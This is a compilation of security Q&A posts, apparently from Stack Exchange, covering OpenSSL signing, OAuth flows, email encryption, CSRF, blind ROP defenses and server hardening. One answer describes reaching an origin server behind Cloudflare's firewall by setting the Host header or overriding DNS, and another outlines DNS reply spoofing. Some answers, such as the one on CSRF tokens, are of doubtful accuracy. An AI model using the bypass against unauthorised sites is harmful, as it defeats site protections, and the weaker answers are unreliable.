pkeyutl -in C:\friendpassword.txt -out C:\friendencryptedpassword.txt -inkey C:\friendprivatekey.txt -passin pass:123abc

----------------

//Convert my encrypted password to base64 from binary (saved as myencryptedpasswordbase64.txt)
base64 -in C:\myencryptedpassword.txt -out C:\myencryptedpasswordbase64.txt

//Convert friend's encrypted password to base64 from binary (saved as friendencryptedpasswordbase64.txt)
base64 -in C:\friendencryptedpassword.txt -out C:\friendencryptedpasswordbase64.txt

----------------

//Create a signed hash of my password so my friend knows it's coming from me (signed hash saved as mysignedhash.txt and is in binary form)
dgst -sha256 -sign C:\myprivatekey.txt -passin pass:abc123 -out C:\mysignedhash.txt C:\myencryptedpasswordbase64.txt

//Create a signed hash of friend's password so I know it's coming from my friend (signed hash saved as friendsignedhash.txt and is in binary form)
dgst -sha256 -sign C:\friendprivatekey.txt -passin pass:123abc -out C:\friendsignedhash.txt C:\friendencryptedpasswordbase64.txt

----------------

//Convert my signed hash from binary to base64
base64 -in C:\mysignedhash.txt -out C:\mysignedhashbase64.txt

//Convert friend's signed hash from binary to base64
base64 -in C:\friendsignedhash.txt -out C:\friendsignedhashbase64.txt

//================Phase 2 - Authentication================

//Now, we reverse the process and authenticate the friend.  Let's prefix all output files with "phase2"

//I provide friend with my public key and my encrypted password
//Friend provides me with their public key

//Convert friend's encrypted password from base64 to binary.  The output file will be the same as friendsignedhash.txt
base64 -d -in C:\friendsignedhashbase64.txt -out C:\phase2friendsignedhash.txt

//Convert friend's signed hash from base64 to binary.  The output file will be the same as C:\friendsignedhash.txt
base64 -d -in C:\friendencryptedpasswordbase64.txt -out C:\phase2friendencryptedpassword.txt

//Verify if the password originates from my friend (by checking against my friend's public key)
dgst -sha256 -verify C:\friendpublickey.txt -signature C:\phase2friendsignedhash.txt -out C:\friendresult.txt C:\phase2friendencryptedpassword.txt

Any idea of why the verification failure occurs?

The immediate reason of the verification failure is that the signature was generated over friendencryptedpasswordbase64.txt, but you try to verify it over phase2friendencryptedpassword.txt, which has not the same contents. Signatures are computed over sequences of bytes and don't care whether you envision these bytes as the Base64-encoding of some other bytes. If you want the signature to be verifiable, you must use the same sequence of bytes as signed message for both generation and verification.

On the whole, what you are trying to do is unclear; in particular, what you call "Encrypt friend's password using friend's private key" does not do that. What you obtain with that command-line is not encryption; it rather is a half-signature (the input file, friendpassword.txt, is taken "as is" as if it was a hash value, embedded in a "PKCS#1 v1.5 type 1 padding", and subject to the RSA core modular exponentiation). In particular, using the value friendencryptedpassword.txt and the public key friendpublickey.txt, both of which being public (since they are sent "on the wire"), it is trivial to rebuild friendpassword.txt, and I bet that's not what you would want to happen.

If what you want is that user A conveys to user B some secret value V (e.g. a "password") so that eavesdropper cannot see V, but B has some guarantee that what was received is indeed a message from A, then what should happen is that:

A encrypts the value V with B's public key, yielding W.
A signs W with A's private key, yielding a signature S.
A sends W and S to B.
B verifies S over input W, using A's public key. This gives B some guarantee that W is indeed the value that A sent (it was not altered in transit by some malevolent interloper).
B decrypts W with B's private key, yielding V.

Note that A keeps his private key private, and so does B. A never learns B's private key, and B never learns A's private key. Moreover, B's key pair is used for encryption and A's key pair for signatures. Encryption and signature are distinct activities which use distinct algorithms and distinct types of keys. It is an unfortunate source of confusion that there is an encryption algorithm called RSA, and also a signature algorithm called RSA, and both kinds of RSA can share the same key structure; even more confusingly, a lot of people erroneously refer to signatures as "encrypting with the private key", which is wrong and makes the overall picture especially obscure. You had better keep signatures and encryption separate (and there are good reasons for that).

There are a gazillion details which can go wrong at any point in the design and implementation of such protocols, so the safe way is to rely on standard protocols which have been carefully specified and analysed, and on tools which implement these protocols and have been thoroughly tested for correctness. To be brief, use GnuPG.


How to prevent malware to know when removable devices are plugged in The question is clear, I'm a programmer and wrote a software to disinfect the USB devices when they got the malware which hides the files and creates a shortcut of the virus .
Using this soft we can disinfect the data, But if the USB is replugged it'll get infected again ...

at this point I'm trying to prevent malwares from knowing when removable devices are plugged in, any ideas?

Computers are not good at detecting evil. Meaning that you cannot make an automated test which can tell you if some software, which detects USB device plugging, is "malware" or "not malware".

As long as a machine:

currently runs malware (i.e. is subverted);
and can detect at all that a USB device is plugged;

then the malware can see the USB device and do everything that it wishes to do on it.

To prevent malware on a given machine from noticing that a USB device is plugged, then, you only have two possibilities:

Remove the malware from the machine.
Don't plug the USB device.

From your description, what you are trying to do is analogous to the following: when a hospital is on fire, how do we arrange for the flames not to notice when a new patient enters, so that the flames don't actually incinerate him ? This ridiculous metaphor is meant to illustrate the idea that you might be trying to solve the problem by the wrong end, with predictably suboptimal results.


Are these standard OAuth2 flows? (what are their names?) I'm developing a B2B platform, where other developers (our customers) will build shop-front style apps that leverage our platform.

We expose a REST based API which our customers either call directly from their app servers, or their own client apps can all, on behalf of their users.

Their apps are standalone, and they "own" the relationship with their users, including authentication.

From an end-users perspective, interaction with our application is transparent.

Also, our customers operate on our platform at an elevated level of trust.  Given that they own the relationship with users (and simply use our platform akin to back-office processing), users don't have to grant them access to operate on our platform on their behalf.

Therefore, we've identified two standard interaction patterns for use with our API.

I'd like to implement as close to OAuth2 as possible, but I'm not sure these strictly conform to the existing flows.

Flow #1: Customers' app server to our platform

This is the flow for strict server-to-server communication.

Customer's app authenticates with us, passing their client_id and client_password.  We return an access_token.
Customer's app passes the access_token in an Authorization header on all future calls.
Additionally, where the call is performing an action on a users behalf, they also pass a username in an Authorization header.

Notes:

The issued authentication_token is not bound to a single user.  It allows them to act on behalf of many users (though limited to one per-call)

I suspect this is a variation of the "password" flow, but where the user's password is not required.

Flow #2:  Customers' app client to our platform

This is the flow where a customers' app is communicating directly with our platform, rather than through their app server.

In this scenario, the user has already been authenticated with the customers app.

Customers' app is already authenticated from Flow #1, and has an access_token
Customers' app server calls our platform, with their access_token, and a username.  We return an access_token for use for that user.
Customers` app serves this token to their client.
Customers' app client calls our platform, passing the access_token in an Authorization Header.

Questions

Are these existing, standard flows within the OAuth2 spec?  I've read it, and I don't believe either of them are described.

If not existing, are there similar flows we should be looking at, that still suit our requirements?  Specifically:

Customers' app servers can perform actions on behalf of the users
Customers' app servers do not require new access codes for every user they wish to proxy
Customers' clients / users can access our platform without directly logging in (but are still authenticated via their app server).

Are there issues with either of these flows that make them really bad ideas?

your first flow looks like the OAuth 2.0 Client credentials grant.  This is where two servers trust each other.  The credentials are about the client, not the user, so the part about passing user info and acting on behalf of the user is not officially supported.

For flow #2, you probably want to use the Authorization code grant. The user would first authenticate to the customer app server and then get an authorization code it would also exchange this code for an access token.  The access token would be passed to your application which you would then pass via back-channel to the customer app to verify the user authorization and identity.

We produce a service to enable apps to do this with very small modification.  You can find out more at:  http://www.assurebridge.com/our-products/mobileconnect/

Thanks,

Oleg


End-to-End (Point-to-Point?) Email encryption I'm looking into providing security for the email server I recently deployed, however the subject matter is a touch more complex than I anticipated and I would appreciate confirmation or correction of what I understand of the details.

I understand that an SSL / TLS certificate, verified by a public CA, will enable transport security on SMTP between servers.  However, I don't see how this could help with transport security between the server and a client.  At best, it seems like the client's outgoing mail would be encrypted, but incoming mail would be in the clear.  Am I understanding this wrong or is that a separate solution for that?

I also understand that the SSL certificate would not secure transmission between the far-end server and any of its clients.  For that S/MIME or PGP is required (I'm not at all interested in PGP.) but my clients do need to be able to communicate publicly, so I'm resigned to that part.  That being said, I am attracted to the idea of running S/MIME strictly between my server and my clients.  Is that possible? Can the server encrypt run S/MIME for all mail to/from internal users, but not run S/MIME for outbound public mail?  Simultaneously can it accept unencrypted public mail and apply S/MIME encryption for the final delivery to the internal user?  I know that seems convoluted, but I'm asking as much out of curiosity as for practical reasons.

Is it a viable combination to use SSL / TLS certificates and S/MIME, or does one invalidate the other?  Can anybody suggest a best-practice for a start-up business situation?  I would like to be able to deliver a solution in which it is secure to transmit trade secrets over this email server between internal users, at the very least.

You may also want to look at this question, which also touches on the subject.

  I understand that an SSL / TLS certificate, verified by a public CA,
  will enable transport security on SMTP between servers. However, I
  don't see how this could help with transport security between the
  server and a client. At best, it seems like the client's outgoing mail
  would be encrypted, but incoming mail would be in the clear. Am I
  understanding this wrong or is that a separate solution for that?

All of the client mail access methods - basically POP3, IMAP, and webmail - support secure alternatives.  POP3 and IMAP can either be run on a dedicated SSL port (just like an HTTPS server, traditionally POP3S is on port 995 and IMAPS is on port 993) or they can support STARTTLS which allows a client to connect to the default plain-text port and then negotiate with the server to switch to encryption first thing in the session.

With mail servers like POP/IMAP/Webmail you can insist upon encryption - if you configure the server correctly, it will refuse to authenticate or share mail before encryption is in place with the client.

  I also understand that the SSL certificate would not secure
  transmission between the far-end server and any of its clients. For
  that S/MIME or PGP is required (I'm not at all interested in PGP.) but
  my clients do need to be able to communicate publicly, so I'm resigned
  to that part.

You are correct.  Because SMTP encryption is opportunistic rather than required, and because mail may pass through multiple servers not controlled by you, the only way to be sure the mail is encrypted through the entire path is client-based encryption like PGP or S/MIME.

  That being said, I am attracted to the idea of running S/MIME strictly
  between my server and my clients. Is that possible? Can the server
  encrypt run S/MIME for all mail to/from internal users, but not run
  S/MIME for outbound public mail? Simultaneously can it accept
  unencrypted public mail and apply S/MIME encryption for the final
  delivery to the internal user? I know that seems convoluted, but I'm
  asking as much out of curiosity as for practical reasons.

It is possible to do this but it has little advantage over simply using an encrypted client access protocol, and would be harder to set up (e.g., it's not a config switch on an existing mail server).

You could have your mail server S/MIME-encrypt your mail as it arrives and before it stuffs it in your mailbox.  Then the mail would need to be decrypted on the client in order to read it.  However, if you did this and still used a plaintext mail access protocol, then your email credentials would be sent in plaintext* over the network, which could allow someone to copy your (encrypted) email, to delete your email, to send mail as if they were you... in short, you want to encrypt that client access protocol, even if you're thinking of enforcing S/MIME on top of your email.

The sole advantage that I can see of encrypting your email with S/MIME as it arrives is that the mail will sit encrypted on the server, and not be vulnerable to being read by an attacker who gains control of your server.  (That only protects your back traffic; any new mail arriving could be snooped before your server manages to S/MIME it if the attacker is on the system).

  Is it a viable combination to use SSL / TLS certificates and S/MIME,
  or does one invalidate the other?

You could layer server-imposed S/MIME on top of encrypted client access protocols; neither invalidates the other.  You will want encrypted client access either way to protect credentials.  S/MIME will provide additional on-server (in-storage) protection which encrypted POP/IMAP/Webmail alone will not.

  Can anybody suggest a best-practice
  for a start-up business situation? I would like to be able to deliver
  a solution in which it is secure to transmit trade secrets over this
  email server between internal users, at the very least.

Encrypt your client access protocol, and don't worry about S/MIME.  Here's why:

You absolutely need to encrypt client access, for credentials* if not for email.
S/MIME that you introduce at your server introduces key management issues.  When Dave in Sales leaves, and you don't have a copy of his key, then all his email to your customers is suddenly unreachable.  Are you going to do key escrow?  Encrypt with dual keys?  You're going to introduce usability and availability headaches if you add S/MIME, and you won't even be protecting your end-to-end like you should get out of S/MIME.
Server-imposed S/MIME is only useful if your mail server gets compromised.  In all likelihood, if your mail server gets compromised, having your mail be encrypted is only one of a large number of problems in your lap.  It's kind of like having the deck chairs properly arranged on the Titanic.  Bear in mind that most compromises are not discovered for months - an attacker could watch your new email as it comes and goes; not having access to the email that was there before the compromise is not a game-changer for him.

Now, some of that may differ based on the business you're in.  If all your business proposition is tied up in mail messages, well, maybe that extra layer becomes worth it.  But standard business, best practices, probably not worth it.

* There are, in fact, some client login methods which effectively encrypt the credentials.  Generally they will require the server have a plaintext copy of the user's password, which is bad.  And support for the different methods may vary while every client/server pair will support LOGIN or PLAIN.  As a result, the vast majority of email client access servers encrypt the session and use the plaintext LOGIN or PLAIN password methods.


In Windows, what's the difference between enumerating logged on users vs sessions? I'm reading over PowerView.ps1, part of PowerSploit, and I'm wondering: what's the difference between sessions and logged on users? Get-NetLoggedon (which uses the NetWkstaUserEnum Win32 API call, and requires local admin rights) always seems to return more results than Get-NetSession (which uses the NetSessionEnum Win32 API call). That's the opposite of what I would expect.

A logged on user may have multiple sessions on a network connection - akin to the idea of threads in an application possibly.

In addition, sessions will likely refresh a lot more often than login events. This is especially true of more modern authentication and authorisation methods such as OAuth.


SSL Client Authentication Failure I have a setup where the client wants to make https call to the server. The client has a certificate installed on the machine The trust chain of the cert:
Root CA
       |----Issuer Certificate
                          |------ Client Certificate

The server listening, on this endpoint, validates the client by building the chain root. ( Note: the server does not have the client certificate installed, it has only the Root Cert in its local mmc or cert store)

The setup used to work, till we have to roll over the cert. We created a new Cert ( we have already tried 3 new certs) with the same attributes as earlier cert, but now the client is not being authenticated by the server.

Strangely, if we install the Issuer (intermediate) cert on the server manually, the authentication goes through.

we cannot figure, what is wrong with the setup or the cert. Any possible help or debugging way ahead will be huge help.

(PS: We use TLS1.0)

Strangely, if we install the Issuer (intermediate) cert on the server manually, the authentication goes through.

It looks like the client is not sending the necessary intermediate certificate but only the lead certificate or the leaf certificate and some older intermediate certificate.


How to access a shared webhosting webpage without the domainname? I would like to know how one can access a shared webhosted webpage without using the domainname. If i directly access the IP adress I get Apache is functioning normally

I need to access it since the page uses cloudflare and blocks some type of penetration tests, so I need to do it more directly.

It's completely normal that a site is only available with the domain, and it's vital for shared hosting: before the Host: header was added in HTTP 1.1 (RFC 2068, 14.23 from 1997, updated in RFC 7230, 5.4) every site required an own IP address, and before SNI (RFC 6066, 3) it was pretty much the same with HTTPS.

This same Host: header could be used in your situation, where Cloudflare's Web Application Firewall (WAF) is sitting between you and the target server, as you already have the original IP address that's supposed to be hidden behind the WAF. You have two options:

Add the Host: header manually with an intercepting HTTP proxy. You are probably already using one, as you are supposed to do some penetration testing.
Override the Cloudflare's IP address with the IP address of the destination server. The authoritative DNS servers are configured to give the IP address of the WAF, but you can locally override that e.g. by adding an entry to your hosts file.

Of course this should not be possible if the original server is properly protected i.e. only giving access through Cloudflare. For permitted penetration testing, your IP address should be added to the same whitelist. If this is not the case, please remember to add this in your vulnerability report.

Interesting reading close to the subject: CloudFlair: Bypassing Cloudflare using Internet-wide scan data.


DNS resolution attacks by flooding spoofed replies Each DNS request has an ID of 16bits. In the event that an adversary is unable to sniff the query, a way to spoof the DNS reply is to flood the resolver with many replies.

Request from victim

 Query ID: 1ac23
 What is the ip address of www.example.com

Spoofed replies from adversary

 Reply for ID 0001
 The ip address of www.example.com is 123.123.123.123

 Reply for ID 0002
 The ip address of www.example.com is 123.123.123.123

 Reply for ID 0003
 The ip address of www.example.com is 123.123.123.123

 ....

 Reply for ID 1ac23
 The ip address of www.example.com is 123.123.123.123

 ....

My question is, if the adversary can't sniff the ID (or the request itself) in the first place, how does the adversary find out the domain that is requesting resolution, in this case www.example.com?

This sounds like a component of a broader targeted attack involving spear phishing.  You might send a link to the victim for Banking.Example.com and begin your DNS reply spam for that domain.  That way, you know which domain they are trying to resolve with DNS.


Not convinced on the security of a JWT Token + CSRF Token Lets suppose I have a web application that uses JWT tokens and CSRF Tokens in its authentication scheme. As I understand it, it works like this:

When a user logs in, the client sends a login request.
Server sets a signed JWT token as a cookie with Set-Cookie ... ;Secure ;httpOnly in its response header. This prevents XSS attacks since the cookie cannot be accessed by Javascript.
Server also sends a CSRF token without httpOnly set so that it can be read by JavaScript code.
When the client makes any future requests, the JWT cookie will automatically be sent and the CSRF will have to be set in the request header. This should prevent CSRF attacks since the CSRF cookie will have to be read.

So in short we have:

Setting the JWT token with ;Secure;HttpOnly will prevent XSS attacks.
Making the client set the CSRF cookie in the request header will prevent CSRF attacks.

But what if an attacker gets your CSRF token using XSS and sets it as a header for requests sent by a malicious website with a CSRF exploit. Is this attack possible? If so, how could I improve my authentication scheme?

Thanks in advance.

CSRF will have to be set in the request header.

The anti-CSRF-token will be submitted in the request message body.
If there is a XSS-vulnerability and an attacker manages to exploit it, the last thing he will probably care about is the anti-CSRF-token. XSS is a much more powerful attack, and an attacker can manipulate almost anything with XSS.

Also, the anti-CSRF-token is stored in a hidden form field in the html-code.

It exists so that each request is bound to a specific user-session.
It literally exists to make CSRF impossible, even if the token somehow leaks. An attacker would only be able to manipulate the current, active session of that particular user whom he stole the anti-CSRF token from.

  But what if an attacker gets your CSRF token using XSS and sets it as a header for requests sent by a malicious website with a CSRF exploit. Is this attack possible?

The JWT would still be protected.
I suggest you should read up on how CSRF works: https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)


What tools can recover or do forensic analysis on deleted registry entry? I'm reading this article, in the Deleted Recovery Example it has the following picture, Figure 8 shows an example of a data recovery error by a popular registry forensics tool

I have two questions

Does anyone know what software this is?
I've tried to create a scheduled task and deleted it, but there's no *.regtrans-ms files in c:\windows\system32\config\txr:

That's Registry Explorer/RECmd from -- https://ericzimmerman.github.io/#!index.md


Create client certificates using signed certificate We have a proper signed server certificate and intermediate CA from a trusted certificate authority.

Is it true that we cannot use this certificate (so the intermediate CA) for creating our own client certificates?

As I read here: https://security.stackexchange.com/a/26084/57364

  "which is why they will not give you sub-CA power for free"

So a certificate authority simply won't allow me to do this?

Does this mean the only way to create client certificates is to make my own CA.

Please correct me if I make some fundamental mistake here...

Your CA issued you an intermediate CA cert if:

they have provided you a certificate that has the CA extension set to TRUE (with or without a depth)
they have provided you a certificate that has suitable keyUsage extensions, that is keyCertSign and cRLSign (see https://superuser.com/questions/738612/ddg#738644)
you control/own the private key that matches the subjectPublicKey of the certificate

If that is the case, unless they have introduced other restrictions (such as NameConstraints - see https://tools.ietf.org/html/rfc5280#section-4.2.1.10 and https://serverfault.com/questions/670725/is-it-possible-to-restrict-the-use-of-a-root-certificate-to-a-domain), you should be able to use the intermediate CA to issue client certs if you want to.
There may be policy/contractual reasons why this may not be true.

I suspect such a certificate would be expensive, but I don't have any references I can point to.

That being said, it should be noted that for client certificates, there is no fundamental requirement for the CA issuing client certs to match the CA issuing the server certs.
It is entirely possible to use an internal CA for your client certs, and an external one for e.g. your public facing webservers.


Is the process Wslxrqjet.exe, tagged 'Google Chrome', malicious? Multiple instances (between 3 and 15) of this of this process Wslxrqjet.exe  are running on my Windows 8 system at all times. Windows Task Manager 'Description' field for all instances is "Google Chrome". Yet I have uninstalled Google Chrome from my system.

Location of the executable on my system is C:\Users\RickReeves\AppData\LocalLow\Browseforchange\egdpdkynurp\gfuxocjp\Wslxrqjet.exe (840 kb).

Constantly changing program memory entry is 37,676.

Of course I tried deleting it, but since it is an active process, I can't delete it.

A Google search for this file reveals NOTHING.

Does anyone have any information regarding this program such as how to remove?

Removing the process should be pretty easy: change the security on the EXE to deny the Execute permission (this can be done on a file with running processes), and then run taskkill /f /im Wslxrqjet.exe to terminate all instances of the running process as simultaneously as possible. New instances won't be able to start (unless something reset the permissions on the file). You can then delete the EXE.
Another option would be to create a new user with admin rights, log out of your account, log into the other user, and delete the file out of your usual account. You could also shut down and boot the machine off different media (such as a Linux live image on Windows install/recovery disk), mount the C: drive, and delete the file from there. There are lots of ways to handle this.
You can also try investigating the process while it's running. See which process launched each instance, who it's running as, and more by using a tool like Process Explorer (free download, part of Microsoft's Sysinternals suite). See what the process is doing by checking its network activity, file handles, and so on using Resource Monitor (built into Windows, gives more details than Task Manager) or - for tons of detail - Process Monitor (also free, part of Sysinternals). Even if it is malicious - not guaranteed - it's had long enough to run that it's probably done it's harm at this point. However, if you want to prevent it from doing anything while you examine it, use Resource Monitor or Process Explorer to "Suspend" the processes.


Defend against Blind ROP At IEEE Security & Privacy, the blind return-oriented programming attack (blind ROP) was just introduced.  In some sense, this is just another variation on ROP attacks -- but the blind ROP attack is notable because it does not require any knowledge of the source code or the binary of the program you are attacking; you can attack "blind".  Also, their attack is entirely automated, so it is very easy for attackers to use, and it defeats ASLR and DEP.  Thus, this seems like a new kind of threat that might become attractive to attackers and is worth defending against.

How should we defend against blind ROP?  What are the best available defenses that we can deploy today?  How can/should we harden our servers and applications against blind ROP attacks?

References:

Hacking Blind, Andrea Bittau, Adam Belay, Ali Mashtizadeh, David Mazieres, Dan Boneh, IEEE Security & Privacy 2014.

There appear to be two main defenses:

Detect application crashes. The Blind ROP attack works by repeatedly sending queries to the application-under-attack and observing which ones cause it to crash.  It is not at all stealthy: it can easily be detected by the number of application crashes it causes.  Therefore, a helpful part of a defense is to monitor application crashes, and if multiple crashes are seen, notify a sysadmin.  Sysadmins need to be aware that a high rate of crashes might indicate a potential Blind ROP attack.  Unfortunately, this provides only detection, not prevention.
Re-randomize whenever the application crashes. It would be more effective if we could configure our systems so that, whenever an application crashes, it is automatically re-randomized (i.e., so that the layout is re-randomized, using fresh randomness for ASLR).  Currently, ASLR re-uses the same randomness for an extended period; depending upon specifics of the operating system, new randomness is generated only after reboot or only periodically.  The Blind ROP attack exploits this: it relies upon the fact that it can send multiple requests to the application-under-attack, and each time the application crashes, it will be automatically restarted and will end up with the same address space layout (ASLR randomness won't be refreshed).  If we disrupt this assumption, we will disrupt the Blind ROP attack.

Unfortunately, there appear to be two issues with this defense:

Issue: It is not clear to me how to implement this defense on current platforms, or even whether it is possible to do so.  It appears that Linux and Mac OS X only re-randomize on each boot.
Issue: On Linux and Mac OS X, this defense won't work for server processes that fork worker processes; some extra something is needed to protect them.  The problem is that many servers are structured as a parent process, which forks a bunch of worker processes (children) to handle requests, and if a worker process (child) crashes or dies, the parent will fork a new one.  Now, suppose that there is a buffer overrun vulnerability in the code that handles requests.  The Blind ROP attack will repeatedly send a request that triggers a worker to crash, and the parent will fork a new worker.  Since the parent process never dies, it has the same address space layout throughout.  And, the way that fork works is that the child inherits the same address space layout as the parent.  Thus, no matter what you do, all workers will have the same address space layout, for the lifetime of the parent (e.g., until reboot or until the service is manually restarted by a sysadmin).  Thus, re-randomizing on each crash won't help protect this kind of server.  Windows doesn't have fork(), so it might get somewhat better protection against Blind ROP -- I'm not entirely clear on that.

Ultimately, it is not clear to me how to protect or harden forking servers against Blind ROP attacks, at least on platforms other than Windows.

There are some additional possible hardening measures that I wouldn't rely upon as the sole defense, but that might stop Blind ROP attacks in some cases:

Enable stack canaries. If your compiler doesn't automatically turn on stack canaries, set the appropriate compiler flags to make sure applications are compiled with stack canaries.  The Blind ROP attack as described in the published paper only works against stack overflows (buffer overrun vulnerabilities in stack-allocated buffers), and can in some cases be stopped by stack canaries.

If you are using gcc, you might want to enable strong stack protection, i.e., -fstack-protector-strong (details) -- or even -fstack-protector-all if you are paranoid (but this might have performance implications).

However, stack canaries have a significant limitation: they don't help protect forking server processes, as the canary will remain the same for all worker processes throughout the lifetime of the parent.  This is unfortunate.
Use load balancing, if convenient. If your load balancer sends each request to a different random server, and if you have enough back-end servers behind the load balancer that might help make Blind ROP harder.  The reason it might help is that each request goes to a different machine and thus a different instance of the application with a different memory layout (assuming you use stack canaries and full ASLR, i.e., PIE).  No guarantees, but it might help.
Use standard hardening measures. As always, compile with full ASLR (-fpie on Linux/gcc).  This won't stop Blind ROP, but it will prevent simpler attacks (and simpler variants of Blind ROP) from working.


Does microwaving a CD erase it? I just read the question: Does microwaving a hard drive erase it? and now I am curious too... does microwaving a CD (or for that matter, DVD, or blu-ray) erase it?  My initial thought is that some data would remain, but that it would largely corrupt the data.  Would microwaving the CD completely clear off any data though, including small pieces of data, such as passwords?  This is not a dupe because a CD does not have a protective case around it like a hard drive does, so the result will likely be different in the case of a CD.

The aluminium coating of the CD reacts and creates plasma. So it burns the CD effectively. Below you can see the image of a microwaved CD. It's safe to say it's been destroyed.


In SSL/TLS, how is the authenticity of a server's certificate verified? Quote from an article on computerworld.com:

  "The private key is used to sign the server's TLS public key, which
  is currently used by browsers to validate SSL certificates."

My understanding is that SSL certificates are verified using the signing CA's public key, or the public keys in a chain of trust, where necessary. Once the certificate is verified, you can be assured about the authenticity of the server's public key that is found in the certificate. The sentence that I quoted above makes it sound like the TLS public key is used to verify the authenticity of the certificate, which doesn't make sense to me. Can someone confirm that what I said is correct, or explain why what the author said is correct? I bolded the pertinent part of the quote, since the rest of it is about TACK, a new protocol intended to strengthen TLS certificates.

The article is about an extension called TACK, which works more like SSH than a traditional CA system.

With a traditional CA system the CA signs (with the CA's private key) the certificate which contains the servers public key, then the browsers use a built in store of public keys of trusted CA's to verify it, with the ability to have chains and intermediary CA's there is over 600 organisations at last count (EFF's SSL Observatory data).

TACK works more like SSH where we remember the servers public key from the first connection and verify it matches. One still needs to do some kind of other verification on the first connect but after that one can then verify that the key is as expected without the need for a certificate authority. Also one widespread automatic use would also have to handle invalidation in case of key compromise. In TACK to manage this, there is a second keypair that is the one remembered by the server instead of the main one this allows for a clever way to handle invalidation.


Add SSL on top of existing TCP connection This may sound as basic question for some but I have never done such thing.

Imagine I basically have simple TCP client implemented on C# (e.g. TCPClient class) and simple TCP server implemented using C++ (e.g. using sockets). This connection works well.

Now I want to add SSL on top of this connection. Do I have to implement this in code too? Can't I use some standard tools? Like maybe how web sites are using it?

Can't I do it without writing code?

Both client and server use Windows.

Basically I want my above mentioned TCP connection and read/writes to go through some secure tunnel such as SSL. Or maybe even VPN?

Can't I do it without writing code?

  Basically I want my above mentioned TCP connection and read/writes to go through some secure tunnel such as SSL. Or maybe even VPN?

You can use stunnel, use a VPN, use a tunnel done with SSH etc. Details depend on your infrastructure, that is which software you can install, which is already available etc. Since you want to have end-to-end encryption you need the necessary software on both sides of the connection.


“Official statement” on php.net : CRYPT_BLOWFISH is strongest hash algorithm. Why? First: I asked this question on stackoverflow and was kindly asked to post this here again. See the original question here.

According to the [early] doc pages of the new PHP 5.5 password hashing/encrypting API the used algorithm CRYPT_BLOWFISH is "strongest algorithm currently supported by PHP" (please do a full text search to find the quote on the page).

My question is: Can this be proven with some numbers, benchmarks etc. ?

According to the PHP's crypt() doc page
CRYPT_BLOWFISH uses 22 char salt and generates a 60 char hash, and CRYPT_SHA512 uses a 16 char salt and generates a 118 char hash. Both algorithms have changeable cost factors, so at first view, SHA512 looks stronger (because longer).

we're talking about strongest for password hashing here. A good general purpose hash doesn't need to be a good password hash, and vice versa.
Length of the hash is irrelevant once it exceeds a certain threshold. A pre-image attack on an n bit hash costs 2n. For a 128 bit hash this is completely infeasible.
bcrypt using an exponential notation for cost and sha512-crypt using a linear notation is irrelevant. Comparing their CPU cost with default parameters is meaningless as well.

In practice you choose a time budget, say 10ms. Then you adjust the cost factor of the hash to match that budget. So if an attacker used the same hardware as the defender, then all decent password hashes would be the same.
An attacker uses different hardware from the defender. The defender uses a standard CPU. The attacker uses at least a GPU, or if it's an advanced attacker perhaps an FPGA or ASIC.

The difference between different hashes is how well they run on different kinds of hardware. BCrypt needs a few kilobytes of really fast memory. This works well with common CPUs, but doesn't work well with GPUs. So bcrypt is very GPU unfriendly. With FPGA the advantage of bcrypt is smaller, especially if it has integrated RAM. But it's still a bit better.
A a simple benchmark you could tune the candidate hashes to the same cost. Then run a GPU based password cracker, such as hashcat or john-the-ripper and check its performance. I expect bcrypt to have a much lower hashrate.
There is also another interesting password scheme called scrypt. It uses larger amounts of memory and if your time budget is large it's significantly better than bcrypt or SHA512-crypt.


How can a SYN flood affect a router in this scenario? I'm using two routers in my home network, as described in this question (router B in the diagram). Therefore, router B is not accessible from the internet.
Going over the logs of this router, I was surprised to find what is logged as "SYN flood". I have several entries such as:Nov 18 21:27:50 [ATTACK]: SYN Flood from 173.194.222.188
Nov 18 12:58:16 [ATTACK]: SYN Flood from 209.85.233.188
There are 3-4 such entries per day. I haven't noticed any disruption in use. The IPs are supposed to originate from companies such as Google or Microsoft, but something tells me they are spoofed.
Questions

How can a router which is not accessible from the internet be a subject of such an attack? Note that I have full control of all devices connected to it, and they are all trustworthy/up-to-date.
Does a SYN flood attack against a home router have a meaning anyway? I was under the impression SYN flood attacks are related to servers.

I also took a look at this question, and I should note I don't have any port forwarding active.

If you connect from a decive in the LAN of router B to an external service, router B and A each do network address translation (NAT) so your device can receive an answer.
So basically there is a temporary port open to receive the answers and send them back to your device.
The impact should be very limited, since normally the router accept only incoming traffic, if a device started the communication from the inside and the packages belong to that communication.
But in RFC 5382 is a possibility for port reuse: https://tools.ietf.org/html/rfc5382#section-4.3
If such a feature is enabled, an outside service could try to establish a connection through SYN packages. Does your routers support that feature?


Where to start , secure an AWS Ubuntu 14.04 Ok so this is probably a basic question but I would like to expand my knowledge.

I have created an AWS Ubuntu EC2 server. I am running software on the server that provides 2 services , firstly a website that will be available to the Internet. Secondly a password protected user environment where suppliers can view things like invoices and create new users ect.

So what I am basically asking is where do I even start to secure this environment. What would be the best steps to secure the server. It runs Nginx, Python and php .

Any input would be highly appreciated, I have a basic understanding of security having studied security at honors in uni, but that was a while ago and theoretical knowledge is useless compared to practical knowledge which I lack.

Some starting points which are by no means an exhaustive list (I will edit the post as people comment; and credit them too):

Firewall - only allow access to ports that explicitly require it (in your case probably only SSH and HTTP/S). I've linked to UFW because it's easy.
Disable root login - furthermore consider limiting to a particular set of users - you will need to sudo (info here and here) and ensure that passwords are required (see man visudo)
SSH PubKey Authentication - instead of logging in with a password, the SSH server has a list of public keys that are authorised for access.
Make sure that you regularly upgrade software: sudo apt-get update; sudo apt-get upgrade;
My preference would be to install NGINX from source as the repositories lag the bug (including security) fixes.
Force HTTPS (a certificate is no more than $15 annually) with HSTS. Do not disable HTTP entirely, but rather create a regular HTTP server (i.e. port 80) block in NGINX and use return 301 https://yourdomain.tld;. Do not include either of the $uri or $request_path variables as these can be manipulated over HTTP.


Blocking insecure iPhones from accessing ActiveSync Considering that the iPhone 3GS and the iPhone 4 (and the latest iPad) all support local device encryption, how do you enforce that only secure devices can connect to your ActiveSync endpoint?

In other words, how do you prevent older iPhones and iPads (that do not support local encryption) from accessing the server, and downloading messages with attachments to unprotected storage?

Remember that even a device with local encryption may have no passcode lock, and may be backed up via iTunes to an unencrypted volume. If that volume is on a laptop, then it's just as portable and losable.


